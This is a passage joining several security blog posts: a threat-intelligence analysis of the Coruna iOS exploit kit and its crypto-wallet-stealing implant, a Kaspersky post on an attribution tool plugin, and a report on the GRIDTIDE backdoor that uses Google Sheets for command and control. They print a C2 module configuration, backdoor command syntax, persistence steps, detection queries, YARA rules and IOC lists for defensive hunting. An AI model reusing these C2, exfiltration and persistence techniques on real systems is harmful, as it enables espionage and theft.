    In the subsequent sections, we will provide a quick description of the framework, a breakdown of the exploit chains, and the associated implants we have captured. Our analysis of the collected data is ongoing, and we anticipate publishing additional technical specifications via new blog entries or root cause analyses (RCAs).

    The Coruna Exploit Kit

    The framework surrounding the exploit kit is extremely well engineered; the exploit pieces are all connected naturally and combined together using common utility and exploitation frameworks. The kit performs the following unique actions:

    • Bailing out if the device is in Lockdown Mode, or the user is in private browsing.

    • A unique and hard-coded cookie is used along the way to generate resource URLs.

    • Resources are referred to by a hash, which needs to be derived with the unique cookie using sha256(COOKIE + ID)[:40] to get their URL.

    • RCE and PAC bypasses are delivered unencrypted.

    The kit contains a binary loader to load the appropriate exploit chain post RCE within WebKit. In this case, binary payloads:

    • Have unique metadata indicating what they really are, what chips and iOS versions they support.

    • Are served from URLs that end with .min.js.

    • Are encrypted using ChaCha20 with a unique key per blob.

    • Are packaged in a custom file format starting with 0xf00dbeef as header.

    • Are compressed with the Lempel–Ziv–Welch (LZW) algorithm.

    Figure 6 shows what an infection of an iPhone XR running iOS 15.8.5 looks like from a networking point of view, with our annotation of the different parts when browsing one of these fake financial websites.

    Coruna exploit chain delivered on iOS 15.8.5

    Figure 6: Coruna exploit chain delivered on iOS 15.8.5

    The Exploits and Their Code Names

    The core technical value of this exploit kit lies in its comprehensive collection of iOS exploits. The exploits feature extensive documentation, including docstrings and comments authored in native English. The most advanced ones are using non-public exploitation techniques and mitigation bypasses. The following table provides a summary of our ongoing analysis regarding the various exploit chains; however, as the full investigation is still in progress, certain CVE associations may be subject to revision. There are in total 23 exploits covering versions from iOS 13 to iOS 17.2.1.

    Type

    Codename

    Targeted versions (inclusive)

    Fixed version

    CVE

    WebContent R/W

    buffout

    13 → 15.1.1

    15.2

    CVE-2021-30952

    WebContent R/W

    jacurutu

    15.2 → 15.5

    15.6

    CVE-2022-48503

    WebContent R/W

    bluebird

    15.6 → 16.1.2

    16.2

    No CVE

    WebContent R/W

    terrorbird

    16.2 → 16.5.1

    16.6

    CVE-2023-43000

    WebContent R/W

    cassowary

    16.6 → 17.2.1

    16.7.5, 17.3

    CVE-2024-23222

    WebContent PAC bypass

    breezy

    13 → 14.x

    ?

    No CVE

    WebContent PAC bypass

    breezy15

    15 → 16.2

    ?

    No CVE

    WebContent PAC bypass

    seedbell

    16.3 → 16.5.1

    ?

    No CVE

    WebContent PAC bypass

    seedbell_16_6

    16.6 → 16.7.12

    ?

    No CVE

    WebContent PAC bypass

    seedbell_17

    17 → 17.2.1

    ?

    No CVE

    WebContent sandbox escape

    IronLoader

    16.0 → 16.3.116.4.0 (<= A12)

    15.7.8, 16.5

    CVE-2023-32409

    WebContent sandbox escape

    NeuronLoader

    16.4.0 → 16.6.1 (A13-A16)

    17.0

    No CVE

    PE

    Neutron

    13.X

    14.2

    CVE-2020-27932

    PE (infoleak)

    Dynamo

    13.X

    14.2

    CVE-2020-27950

    PE

    Pendulum

    14 → 14.4.x

    14.7

    No CVE

    PE

    Photon

    14.5 → 15.7.6

    15.7.7, 16.5.1

    CVE-2023-32434

    PE

    Parallax

    16.4 → 16.7

    17.0

    CVE-2023-41974

    PE

    Gruber

    15.2 → 17.2.1

    16.7.6, 17.3

    No CVE

    PPL Bypass

    Quark

    13.X

    14.5

    No CVE

    PPL Bypass

    Gallium

    14.x

    15.7.8, 16.6

    CVE-2023-38606

    PPL Bypass

    Carbone

    15.0 → 16.7.6

    17.0

    No CVE

    PPL Bypass

    Sparrow

    17.0 → 17.3

    16.7.6, 17.4

    CVE-2024-23225

    PPL Bypass

    Rocket

    17.1 → 17.4

    16.7.8, 17.5

    CVE-2024-23296

    Table 1: Table with mapping CVE to code names

    Photon and Gallium are exploiting vulnerabilities that were also used as zero-days as part of Operation Triangulation, discovered by Kaspersky in 2023. The Coruna exploit kit also embeds reusable modules to ease the exploitation of the aforementioned vulnerabilities. For example, there is a module called rwx_allocator using multiple techniques to bypass various mitigations preventing allocation of RWX memory pages in userland. The kernel exploits are also embedding various internal modules allowing them to bypass kernel-based mitigations such as kernel-mode PAC.

    The Ending Payload

    At the end of the exploitation chain, a stager binary called PlasmaLoader (tracked by GTIG as PLASMAGRID), using com.apple.assistd as an identifier, facilitates communication with the kernel component established by the exploit. The loader is injecting itself into powerd, a daemon running as root on iOS.

    The injected payload doesn’t exhibit the usual capabilities that we would expect to see from a surveillance vendor, but instead steals financial information. The payload can decode QR codes from images on disk. It also has a module to analyze blobs of text to look for BIP39 word sequences or very specific keywords like “backup phrase” or “bank account.” If such text is found in Apple Memos it will be sent back to the C2.

    More importantly, the payload has the ability to collect and run additional modules remotely, with the configuration retrieved from http://<C2 URL>/details/show.html. The configuration, as well as the additional modules, are compressed as 7-ZIP archives protected with a unique hard-coded password. The configuration is encoded in JSON and simply contains a list of module names with their respective URL, hash and size.

    {
      "entries": [
        {
          "bundleId": "com.bitkeep.os",
          "url": "http://<C2URL>/details/f6lib.js",
          "sha256": "6eafd742f58db21fbaf5fd7636e6653446df04b4a5c9bca9104e5dfad34f547c",
          "size": 256832,
          "flags": {
            "do_not_close_after_run": true
          }
        }
    ...
      ]
    }

    As expected, most of all identified modules exhibit a uniform design; they are all placing function hooks for the purpose of exfiltrating cryptocurrency wallets or sensitive information from the following applications:

    • com.bitkeep.os
    • com.bitpie.wallet
    • coin98.crypto.finance.insights
    • org.toshi.distribution
    • exodus-movement.exodus
    • im.token.app
    • com.kyrd.krystal.ios
    • io.metamask.MetaMask
    • org.mytonwallet.app
    • app.phantom
    • com.skymavis.Genesis
    • com.solflare.mobile
    • com.global.wallet.ios
    • com.tonhub.app
    • com.jbig.tonkeeper
    • com.tronlink.hdwallet
    • com.sixdays.trust
    • com.uniswap.mobile

    All of these modules contain proper logging with sentences written in Chinese:

    <PlasmaLogger> %s[%d]: CorePayload 管理器初始化成功,尝试启动...

    This log string indicates the CorePayload Manager initialized successfully

    Some comments, such as the following one, also include emojis and are written in a way suggesting they might be LLM-generated.

    <PlasmaLogger> %s[%d]: [PLCoreHeartbeatMonitor] ✅ 心跳监控已启动 (端口=0x%x),等待 CorePayload 发送第一个心跳...

    Network communication is done over HTTPs with the collected data encrypted and POST’ed with AES using the SHA256 hash of a static string as key. Some of the HTTP requests contain additional HTTP headers such as sdkv or x-ts, followed by a timestamp. The implant contains a list of hard-coded C2s but has a fallback mechanism in case the servers do not respond. The implant embeds a custom domain generation algorithm (DGA) using the string “lazarus” as seed to generate a list of predictable domains. The domains will have 15 characters and use .xyz as TLD. The attackers use Google's public DNS resolver to validate if the domains are active.

    Conclusion

    Google has been a committed participant in the Pall Mall Process, designed to build consensus and progress toward limiting the harms from the spyware industry. Together, we are focused on developing international norms and frameworks to limit the misuse of these powerful technologies and protect human rights around the world. These efforts are built on earlier governmental actions, including steps taken by the US Government to limit government use of spyware, and a first-of-its-kind international commitment to similar efforts.

    Acknowledgements

    We would like to acknowledge and thank Google Project-Zero and Apple Security Engineering & Architecture team for their partnership throughout this investigation.

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

    File Indicators

    Hashes of the implant and its modules delivered from the crypto related websites.

    Implant

    bundleId

    SHA-256

    com.apple.assistd

    2a9d21ca07244932939c6c58699448f2147992c1f49cd3bc7d067bd92cb54f3a

    Modules

    bundleId

    SHA-256

    com.apple.springboard

    18394fcc096344e0730e49a0098970b1c53c137f679cff5c7ff8902e651cd8a3

    com.bitkeep.os

    6eafd742f58db21fbaf5fd7636e6653446df04b4a5c9bca9104e5dfad34f547c

    com.bitpie.wallet

    42cc02cecd65f22a3658354c5a5efa6a6ec3d716c7fbbcd12df1d1b077d2591b

    coin98.crypto.finance.insights

    0dff17e3aa12c4928273c70a2e0a6fff25d3e43c0d1b71056abad34a22b03495

    org.toshi.distribution

    05b5e4070b3b8a130b12ea96c5526b4615fcae121bb802b1a10c3a7a70f39901

    exodus-movement.exodus

    10bd8f2f8bb9595664bb9160fbc4136f1d796cb5705c551f7ab8b9b1e658085c

    im.token.app

    91d44c1f62fd863556aac0190cbef3b46abc4cbe880f80c580a1d258f0484c30

    com.kyrd.krystal.ios

    721b46b43b7084b98e51ab00606f08a6ccd30b23bef5e542088f0b5706a8f780

    io.metamask.MetaMask

    25a9b004cf61fb251c8d4024a8c7383a86cb30f60aa7d59ca53ce9460fcfb7de

    org.mytonwallet.app

    be28b40df919d3fa87ed49e51135a719bd0616c9ac346ea5f20095cb78031ed9

    app.phantom

    3c297829353778857edfeaed3ceeeca1bf8b60534f1979f7d442a0b03c56e541

    com.skymavis.Genesis

    499f6b1e012d9bc947eea8e23635dfe6464cd7c9d99eb11d5874bd7b613297b1

    com.solflare.mobile

    d517c3868c5e7808202f53fa78d827a308d94500ae9051db0a62e11f7852e802

    com.global.wallet.ios

    4dfcf5a71e5a8f27f748ac7fd7760dec0099ce338722215b4a5862b60c5b2bfd

    com.tonhub.app

    d371e3bed18ee355438b166bbf3bdaf2e7c6a3af8931181b9649020553b07e7a

    com.jbig.tonkeeper

    023e5fb71923cfa2088b9a48ad8566ff7ac92a99630add0629a5edf4679888de

    com.tronlink.hdwallet

    f218068ea943a511b230f2a99991f6d1fbc2ac0aec7c796b261e2a26744929ac

    com.sixdays.trust

    1fb9dedf1de81d387eff4bd5e747f730dd03c440157a66f20fdb5e95f64318c0

    com.uniswap.mobile

    4dc255504a6c3ea8714ccdc95cc04138dc6c92130887274c8582b4a96ebab4a8

    Network Indicators

    UNC6353 Indicators

    URL delivering Coruna exploit kit

    http://cdn[.]uacounter[.]com/stat[.]html

    UNC6691 Indicators

    URLs delivering Coruna exploit kit

    https://ai-scorepredict[.]com/static/analytics[.]html

    https://m[.]pc6[.]com/test/tuiliu/group[.]html

    http://ddus17[.]com/tuiliu/group[.]html

    https://goodcryptocurrency[.]top/details/group[.]html

    http://pepeairdrop01[.]com/static/analytics[.]html

    https://osec2[.]668ddf[.]cc/tuiliu/group[.]html

    https://pepeairdrop01[.]com/static/analytics[.]html

    https://ios[.]teegrom[.]top/tuiliu/group[.]html

    https://i[.]binaner[.]com/group[.]html

    https://ajskbnrs[.]xn--jor0b302fdhgwnccw8g[.]com/gogo/list[.]html

    https://sj9ioz3a7y89cy7[.]xyz/list[.]html

    https://65sse[.]668ddf[.]cc/tuiliu/group[.]html

    https://sadjd[.]mijieqi[.]cn/group[.]html

    https://mkkku[.]com/static/analytics[.]html

    https://dbgopaxl[.]com/static/goindex/tuiliu/group[.]html

    https://w2a315[.]tubeluck[.]com/static/goindex/tuiliu/group[.]html

    https://ose[.]668ddf[.]cc/tuiliu/group[.]html

    http://cryptocurrencyworld[.]top/details/group[.]html

    https://iphonex[.]mjdqw[.]cn/tuiliu/group[.]html

    http://goodcryptocurrency[.]top/details/group[.]html

    https://share[.]4u[.]game/group[.]html

    https://26a[.]online/group[.]html

    https://binancealliancesintro[.]com/group[.]html

    https://4u[.]game/group[.]html

    http://bestcryptocurrency[.]top/details/group[.]html

    https://b27[.]icu/group[.]html

    https://h4k[.]icu/group[.]html

    https://so5083[.]tubeluck[.]com/static/goindex/group[.]html

    https://seven7[.]vip/group[.]html

    https://y4w[.]icu/group[.]html

    https://7ff[.]online/group[.]html

    https://cy8[.]top/group[.]html

    https://7uspin[.]us/group[.]html

    https://seven7[.]to/group[.]html

    https://4kgame[.]us/group[.]html

    https://share[.]7p[.]game/group[.]html

    https://www[.]appstoreconn[.]com/xmweb/group[.]html

    https://k96[.]icu/group[.]html

    https://7fun[.]icu/group[.]html

    https://n49[.]top/group[.]html

    https://98a[.]online/group[.]html

    https://spin7[.]icu/group[.]html

    https://t7c[.]icu/group[.]html

    https://7p[.]game/group[.]html

    https://lddx3z2d72aa8i6[.]xyz/group[.]html

    https://anygg[.]liquorfight[.]com/88k4ez/group[.]html

    https://goanalytics[.]xyz/88k4ez/group[.]html

    http://land[.]77bingos[.]com/88k4ez/group[.]html

    https://land[.]bingo777[.]now/88k4ez/group[.]html

    http://land[.]bingo777[.]now/88k4ez/group[.]html

    http://land[.]777bingos[.]xyz/88k4ez/group[.]html

    https://btrank[.]top/tuiliu/group[.]html

    https://dd9l7e6ghme8pbk[.]xyz/group[.]html

    https://res54allb[.]xn--xkrsa0078bd6d[.]com/group[.]html

    https://fxrhcnfwxes90q[.]xyz/group[.]html

    https://kanav[.]blog/group[.]html

    https://3v5w1km5gv[.]xyz/group[.]html

    PLASMAGRID C2 domains

    vvri8ocl4t3k8n6.xyz

    rlau616jc7a7f7i.xyz

    ol67el6pxg03ad7.xyz

    6zvjeulzaw5c0mv.xyz

    ztvnhmhm4zj95w3.xyz

    v2gmupm7o4zihc3.xyz

    pen0axt0u476duw.xyz

    hfteigt3kt0sf3z.xyz

    xfal48cf0ies7ew.xyz

    yvgy29glwf72qnl.xyz

    lk4x6x2ejxaw2br.xyz

    2s3b3rknfqtwwpo.xyz

    xjslbdt9jdijn15.xyz

    hui4tbh9uv9x4yi.xyz

    xittgveqaufogve.xyz

    xmmfrkq9oat1daq.xyz

    lsnngjyu9x6vcg0.xyz

    gdvynopz3pa0tik.xyz

    o08h5rhu2lu1x0q.xyz

    zcjdlb5ubkhy41u.xyz

    8fn4957c5g986jp.xyz

    uawwydy3qas6ykv.xyz

    sf2bisx5nhdkygn3l.xyz

    roy2tlop2u.xyz

    gqjs3ra34lyuvzb.xyz

    eg2bjo5x5r8yjb5.xyz

    b38w09ecdejfqsf.xyz

    YARA Rules

    rule G_Hunting_Exploit_MapJoinEncoder_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$s1 = /\[[^\]]+\]\.map\(\w\s*=>.{0,15}String\.fromCharCode\(\w\s*\^\s*(\d+)\).{0,15}\.join\(""\)/
    		$fp1 = "bot|googlebot|crawler|spider|robot|crawling"
    	condition:
    		1 of ($s*) and not any of ($fp*)
    }
    rule G_Backdoor_PLASMAGRID_Strings_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$ = "com.plasma.appruntime.appdiscovery"
    		$ = "com.plasma.appruntime.downloadmanager"
    		$ = "com.plasma.appruntime.hotupdatemanager"
    		$ = "com.plasma.appruntime.modulestore"
    		$ = "com.plasma.appruntime.netconfig"
    		$ = "com.plasma.bundlemapper"
    		$ = "com.plasma.event.upload.serial"
    		$ = "com.plasma.notes.monitor"
    		$ = "com.plasma.photomonitor"
    		$ = "com.plasma.PLProcessStateDetector"
    		$ = "plasma_heartbeat_monitor"
    		$ = "plasma_injection_dispatcher"
    		$ = "plasma_ipc_processor"
    		$ = "plasma_%@.jpg"
    		$ = "/var/mobile/Library/Preferences/com.plasma.photomonitor.plist"
    		$ = "helion_ipc_handler"
    		$ = "PLInjectionStateInfo"
    		$ = "PLExploitationInterface"
    	condition:
    		1 of them
    }

    Local KTAE and the IDA Pro plugin | Kaspersky official blog

    27 February 2026 at 17:55

    In a previous post, we walked through a practical example of how threat attribution helps in incident investigations. We also introduced the Kaspersky Threat Attribution Engine (KTAE) — our tool for making an educated guess about which specific APT group a malware sample belongs to. To demonstrate it, we used the Kaspersky Threat Intelligence Portal — a cloud-based tool that provides access to KTAE as part of our comprehensive Threat Analysis service, alongside a sandbox and a non-attributing similarity-search tool. The advantages of a cloud service are obvious: clients don’t need to invest in hardware, install anything, or manage any software. However, as real-world experience shows, the cloud version of an attribution tool isn’t for everyone…

    First, some organizations are bound by regulatory restrictions that strictly forbid any data from leaving their internal perimeter. For the security analysts at these firms, uploading files to a third-party service is out of the question. Second, some companies employ hardcore threat hunters who need a more flexible toolkit — one that lets them work with their own proprietary research alongside Kaspersky’s threat intelligence. That’s why KTAE is available in two flavors: a cloud-based version and an on-prem deployment.

    What are the on-prem KTAE advantages over the cloud version?

    First off, the local version of KTAE ensures an investigation stays fully confidential. All the analysis takes place right in the organization’s internal network. The threat intelligence source is a database deployed inside the company perimeter; it is packed with the unique indicators and attribution data of every malicious sample known to our experts; and it also contains the characteristics pertaining to legitimate files to exclude false-positive detections. The database gets regular updates, but it operates one-way: no information ever leaves the client’s network.

    Additionally, the on-prem version of KTAE gives experts the ability to add new threat groups to the database and link them to malware samples they discovered on their own. This means that subsequent attribution of new files will account for the data added by internal researchers. This allows experts to catalog their own unique malware clusters, work with them, and identify similarities.

    Here’s another handy expert tool: our team has developed a free plugin for IDA Pro, a popular disassembler, for use with the local version of KTAE.

    What’s the purpose of an attribution plugin for a disassembler?

    For a SOC analyst on alert triage, attributing a malicious file found in the infrastructure is straightforward: just upload it to KTAE (cloud or on-prem) and get a verdict, like Manuscrypt (83%). That’s sufficient for taking adequate countermeasures against that group’s known toolkit and assessing the overall situation. A threat hunter, however, might not want to take that verdict at face value. Alternatively, they might ask, “Which code fragments are unique across all the malware samples used by this group?” Here an attribution plugin for a disassembler comes in handy.


    Inside the IDA Pro interface, the plugin highlights the specific disassembled code fragments that triggered the attribution algorithm. This doesn’t just allow for a more expert-level deep dive into new malware samples; it also lets Kaspersky researchers refine attribution rules on the fly. As a result, the algorithm — and KTAE itself — keeps evolving, making attribution more accurate with every run.

    How to set up the plugin

    The plugin is a script written in Python. To get it up and running you need IDA Pro. Unfortunately, it won’t work in IDA Free, since it lacks support for Python plugins. If you don’t have Python installed yet, you’d need to grab that, set up the dependencies (check the requirements file in our GitHub repository), and make sure IDA Pro environment variables are pointing to the Python libraries.

    Next, you’d need to insert the URL for your local KTAE instance into the script body and provide your API token (which is available on a commercial basis) — just like it’s done in the example script described in the KTAE documentation.

    Then you can simply drop the script into your IDA Pro plugins folder and fire up the disassembler. If you’ve done it right, then, after loading and disassembling a sample, you’ll see the option to launch the Kaspersky Threat Attribution Engine (KTAE) plugin under EditPlugins:

    How to use the plugin

    When the plugin is installed, here’s what happens under the hood: the file currently loaded in IDA Pro is sent via API to the locally installed KTAE service, at the URL configured in the script. The service analyzes the file, and the analysis results are piped right back into IDA Pro.

    On a local network, the script usually finishes its job in a matter of seconds (the duration depends on the connection to the KTAE server and the size of the analyzed file). Once the plugin wraps up, a researcher can start digging into the highlighted code fragments. A double-click leads straight to the relevant section in the assembly or binary code (Hex view) for analysis. These extra data points make it easy to spot shared code blocks and track changes in a malware toolkit.

    By the way, this isn’t the only IDA Pro plugin the GReAT team has created to make life easier for threat hunters. We also offer another IDA plugin that significantly speeds up and streamlines the reverse-engineering process, and which, incidentally, was a winner in the IDA Plugin Contest 2024.

    To learn more about the Kaspersky Threat Attribution Engine and how to deploy it, check out the official product documentation. And to arrange a demonstration or piloting project, please fill out the form on the Kaspersky website.

    Exposing the Undercurrent: Disrupting the GRIDTIDE Global Cyber Espionage Campaign

    25 February 2026 at 15:00

    Introduction

    Last week, Google Threat Intelligence Group (GTIG), Mandiant, and partners took action to disrupt a global espionage campaign targeting telecommunications and government organizations in dozens of nations across four continents. The threat actor, UNC2814, is a suspected People's Republic of China (PRC)-nexus cyber espionage group that GTIG has tracked since 2017. This prolific, elusive actor has a long history of targeting international governments and global telecommunications organizations across Africa, Asia, and the Americas and had confirmed intrusions in 42 countries when the disruption was executed. The attacker was using API calls to communicate with SaaS apps as command-and-control (C2) infrastructure to disguise their malicious traffic as benign, a common tactic used by threat actors when attempting to improve the stealth of their intrusions. Rather than abusing a weakness or security flaw, attackers rely on cloud-hosted products to function correctly and make their malicious traffic seem legitimate. This disruption, led by GTIG in partnership with other teams, included the following actions: 

    • Terminating all Google Cloud Projects controlled by the attacker, effectively severing their persistent access to environments compromised by the novel GRIDTIDE backdoor.

    • Identifying and disabling all known UNC2814 infrastructure. 

    • Disabling attacker accounts and revoked access to the Google Sheets API calls leveraged by the actor for command-and-control (C2) purposes.

    • Releasing a set of IOCs linked to UNC2814 infrastructure active since at least 2023. 

    GTIG’s understanding of this campaign was accelerated by a recent Mandiant Threat Defense investigation into UNC2814 activity. Mandiant discovered that UNC2814 was leveraging a novel backdoor tracked as GRIDTIDE. This activity is not the result of a security vulnerability in Google’s products; rather, it abuses legitimate Google Sheets API functionality to disguise C2 traffic.

    As of Feb. 18, GTIG's investigation confirmed that UNC2814 has impacted 53 victims in 42 countries across four continents, and identified suspected infections in at least 20 more countries. It is important to highlight that UNC2814 has no observed overlaps with activity publicly reported as “Salt Typhoon,” and targets different victims globally using distinct tactics, techniques, and procedures (TTPs). Although the specific initial access vector for this campaign has not been determined, UNC2814 has a history of gaining entry by exploiting and compromising web servers and edge systems.

    GRIDTIDE infection lifecycle

    Figure 1:GRIDTIDE infection lifecycle

    Initial Detection

    Mandiant leverages Google Security Operations (SecOps) to perform continuous detection, investigation, and response across our global customer base. During this investigation, a detection flagged suspicious activity on a CentOS server.

    In this case, Mandiant’s investigation revealed a suspicious process tree: the binary /var/tmp/xapt initiated a shell with root privileges. The binary then executed the command sh -c id 2>&1 to retrieve the system's user and group identifiers. This reconnaissance technique enabled the threat actor to confirm their successful privilege escalation to root. Mandiant analysts triaged the alert, confirmed the malicious intent, and reported the activity to the customer. This rapid identification of a sophisticated threat actor’s TTPs demonstrates the value of Google Cloud’s Shared Fate model, which provides organizations with curated, out-of-the-box (OOB) detection content designed to help organizations better defend against modern intrusions.

    [Process Tree]
    /var/tmp/xapt
     └── /bin/sh
          └── sh -c id 2>&1
               └── [Output] uid=0(root) gid=0(root) groups=0(root)

    The payload was likely named xapt to masquerade as the legacy tool used in Debian-based systems.

    Post-Compromise Activity

    The threat actor used a service account to move laterally within the environment via SSH. Leveraging living-off-the-land (LotL)binaries, the threat actor performed reconnaissance activities, escalated privileges, and set up persistence for the GRIDTIDE backdoor.

    To achieve persistence, the threat actor created a service for the malware at /etc/systemd/system/xapt.service, and once enabled, a new instance of the malware was spawned from /usr/sbin/xapt.

    The threat actor initially executed GRIDTIDE via the command nohup ./xapt. This allows the backdoor to continue running even after the session is closed.

    Subsequently, SoftEther VPN Bridge was deployed to establish an outbound encrypted connection to an external IP address. VPN configuration metadata suggests UNC2814 has been leveraging this specific infrastructure since July 2018.

    The threat actor dropped GRIDTIDE on to an endpoint containing personally identifiable information (PII), including:

    • Full name

    • Phone number

    • Date of birth

    • Place of birth

    • Voter ID number

    • National ID number

    We assess the targeting of PII in this engagement is consistent with cyber espionage activity in telecommunications, which is primarily leveraged to identify, track, and monitor persons of interest. We expect UNC2814 used this access to exfiltrate a variety of data on persons and their communications. Similar campaigns have been used to exfiltrate call data records, monitor SMS messages, and to even monitor targeted individuals through the telco’s lawful intercept capabilities.

    GTIG did not directly observe UNC2814 exfiltrate sensitive data during this campaign. However, historical PRC-nexus espionage intrusions against telecoms have resulted in the theft of call data records, unencrypted SMS messages, and the compromise and abuse of lawful intercept systems. This focus on sensitive communications historically is intended to enable the targeting of individuals and organizations for surveillance efforts, particularly dissidents and activists, as well as traditional espionage targets. The access UNC2814 achieved during this campaign would likely enable clandestine efforts to similarly surveil targets. 

    GRIDTIDE

    GRIDTIDE is a sophisticated C-based backdoor with the ability to execute arbitrary shell commands, upload files, and download files. The backdoor leverages Google Sheets as a high-availability C2 platform, treating the spreadsheet not as a document, but as a communication channel to facilitate the transfer of raw data and shell commands. GRIDTIDE hides its malicious traffic within legitimate cloud API requests, evading standard network detection. While the GRIDTIDE sample FLARE analyzed as part of this campaign leverages Google Sheets for its C2, the actor could easily make use of other cloud-based spreadsheet platforms in the same manner.

    Google Sheets

    GRIDTIDE expects a 16-byte cryptographic key to be present in a separate file on the host at the time of execution. The malware uses this key to decrypt its Google Drive configurations using AES-128 in Cipher Block Chaining (CBC) mode.

    The Google Drive configuration data contains the service account associated with UNC2814’s Google Sheets document, and a private key for the account. It also contains the Google Spreadsheet ID and the private key to access the document. GRIDTIDE then connects to the malicious Google Spreadsheet using the Google Service Account for API authentication (the threat actor’s Google Service Account and associated Google Workspace have been disabled).

    When executed, GRIDTIDE sanitizes its Google Sheet. It does this by deleting the first 1000 rows, across columns A to Z in the spreadsheet, by using the Google Sheets API batchClear method. This prevents previous commands or file data stored in the Sheet from interfering with the threat actor’s current session.

    Once the Sheet is prepared, the backdoor conducts host-based reconnaissance. It fingerprints the endpoint by collecting the victim’s username, endpoint name, OS details, local IP address, and environmental data such as the current working directory, language settings, and local time zone. This information is then exfiltrated and stored in cell V1 of the attacker-controlled spreadsheet.

    Command Syntax

    The threat actor issues instructions using a four-part command syntax: <type>-<command_id>-<arg_1>-<arg_2>.

    • <type> Commands originating from the threat actor are categorized as type C (Client).

    • <command_id>

      • C (Command): Executes Base64-encoded Bash shell commands on the endpoint and redirects the output to the spreadsheet.

      • U (Upload): Upload the data stored in the cells A2:A<arg_2> to the target endpoint, reconstruct and write to the encoded file path <arg_1>.

      • D (Download): Reads the data from the encoded local file path on the endpoint <arg_1> and transfers the contents in 45-KB fragments to the spreadsheet across the A2:An range.

    In response, the malware posts a Server (S) status message to cell A1, confirming the successful completion of the task (R) or returning an error:

    • <type> Responses originating from the malware are categorised as type S (Server).

    • <command_id> Will match the <command_id> value sent by the threat actor.

    • <arg_1> Indicating the command executed successfully (R), or an error message.

    • <arg_2> Exfiltrated data is saved within the range A2:A<arg_2>. This value displays the upper cell number of the data.

    Cell-Based C2

    GRIDTIDE’s C2 communication works on a cell-based polling mechanism, assigning specific roles to spreadsheet cells to facilitate communication.

    • A1: The malware polls this cell via the Google Sheets API for attacker commands, and subsequently overwrites it with a status response upon completion (e.g., S-C-R or Server-Command-Success. If no command exists in the cell, the malware sleeps for one second before trying again. If the number of trials reaches 120, it changes the sleep time to be a random duration between 5–10 minutes, likely to reduce noise when the threat actor is not active. When a command does exist in the cell, GRIDTIDE executes it and resets the wait time to one second.

    • A2-An: Used for the transfer of data, such as command output, uploading tools, or exfiltrating files.

    • V1: Stores system data from the victim endpoint. When executed, the malware updates this cell with an encoded string containing host-based metadata.

    Obfuscation and Evasion

    To evade detection and web filtering, GRIDTIDE employs a URL-safe Base64 encoding scheme for all data sent and received. This encoding variant replaces standard Base64 characters (+ and /) with alternatives (- and _).

    Command Execution Lifecycle

    GRIDTIDE execution lifecycle

    Figure 2: GRIDTIDE execution lifecycle

    Targeting

    Countries with suspected or confirmed UNC2814 victims

    Figure 3: Countries with suspected or confirmed UNC2814 victims

    UNC2814 is a suspected PRC-nexus threat actor that has conducted global operations since at least 2017. The group's recent activity leveraging GRIDTIDE malware has primarily focused on targeting telecommunications providers on a worldwide scale, but UNC2814 also targeted government organizations during this campaign. 

    GTIG confirmed 53 intrusions by UNC2814 in 42 total nations globally, and identified suspected targeting in at least 20 other nations. This prolific scope is likely the result of a decade of concentrated effort.

    Disrupting UNC2814

    GTIG is committed to actively countering and disrupting malicious operations, ensuring the safety of our customers and mitigating the global impact of this malicious cyber activity. 

    To counter UNC2814’s operations, GTIG executed a series of coordinated disruption actions:

    • Elimination of GRIDTIDE Access: We terminated all Cloud Projects controlled by the attacker, effectively severing their persistent access to environments compromised by the GRIDTIDE backdoor.

    • Infrastructure Takedown: In collaboration with partners, we identified and disabled all known UNC2814 infrastructure. This included the sinkholing of both current and historical domains used by the group in order to further dismantle UNC2814’s access to compromised environments.

    • Account Disruption: GTIG and its partners disabled attacker accounts, revoked access to the Google Sheets, and disabled all Google Cloud projects leveraged by the actor for command-and-control (C2) purposes.

    • Victim Notifications: GTIG has issued formal victim notifications and is actively supporting organizations with verified compromises resulting from this threat.

    • Detection Signatures: We have refined and implemented a variety of signatures and signals designed to neutralize UNC2814 operations and intercept malware linked to GRIDTIDE.

    • IOC Release: We are publicly releasing a collection of IOC’s related to UNC2814 infrastructure that the group has used since at least 2023 to help organizations identify this activity in their networks and better protect customers and organizations around the world.

    Conclusion

    The global scope of UNC2814’s activity, evidenced by confirmed or suspected operations in over 70 countries, underscores the serious threat facing telecommunications and government sectors, and the capacity for these intrusions to evade detection by defenders. Prolific intrusions of this scale are generally the result of years of focused effort and will not be easily re-established. We expect that UNC2814 will work hard to re-establish their global footprint.

    Detection Through Google Security Operations

    Google SecOps customers have access to these broad category rules and more under the Mandiant Hunting rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

    • Suspicious Shell Execution From Var Directory

    • Suspicious Sensitive File Access Via SSH

    • Config File Staging in Sensitive Directories

    • Shell Spawning Curl Archive Downloads from IP

    • Numeric Permission Profiling in System Paths

    • Sudo Shell Spawning Reconnaissance Tools

    • Potential Google Sheets API Data Exfiltration

    SecOps Hunting Queries

    The following UDM queries can be used to identify potential compromises within your environment.

    Suspicious Google Sheets API Connections

    Search for a non-browser process initiating outbound HTTPS requests to specific Google Sheets URIs leveraged by GRIDTIDE.

    target.url = /sheets\.googleapis\.com/
    (
      target.url = /batchClear/ OR 
      target.url = /batchUpdate/ OR
      target.url = /valueRenderOption=FORMULA/
    )
    principal.process.file.full_path != /chrome|firefox|safari|msedge/
    Config File Creation in Suspicious Directory

    Identify configuration files being created at, modified, or moved to unexpected locations.

    (
      metadata.event_type = "FILE_CREATION" OR
      metadata.event_type = "FILE_MODIFICATION" OR
      metadata.event_type = "FILE_MOVE"
    )
    AND target.file.full_path = /^(\/usr\/sbin|\/sbin|\/var\/tmp)\/[^\\\/]+\.cfg$/ nocase
    Suspicious Shell Execution from /var/tmp/

    Detects executables with short alphanumeric filenames, launching from the /var/tmp/ directory, and spawning a shell.

    principal.process.file.full_path = /^\/var\/tmp\/[a-z0-9]{1,10}$/ nocase AND
    target.process.file.full_path = /\b(ba)?sh$/ nocase

    Indicators of Compromise (IOCs)

    The following IOCs are available in a free Google Threat Intelligence (GTI) collection for registered users.

    Host-Based Artifacts

    Artifact

    Description

    Hash (SHA256)

    xapt

    GRIDTIDE

    ce36a5fc44cbd7de947130b67be9e732a7b4086fb1df98a5afd724087c973b47

    xapt.cfg

    Key file used by GRIDTIDE to decrypt its Google Drive configuration.

    01fc3bd5a78cd59255a867ffb3dfdd6e0b7713ee90098ea96cc01c640c6495eb

    xapt.service

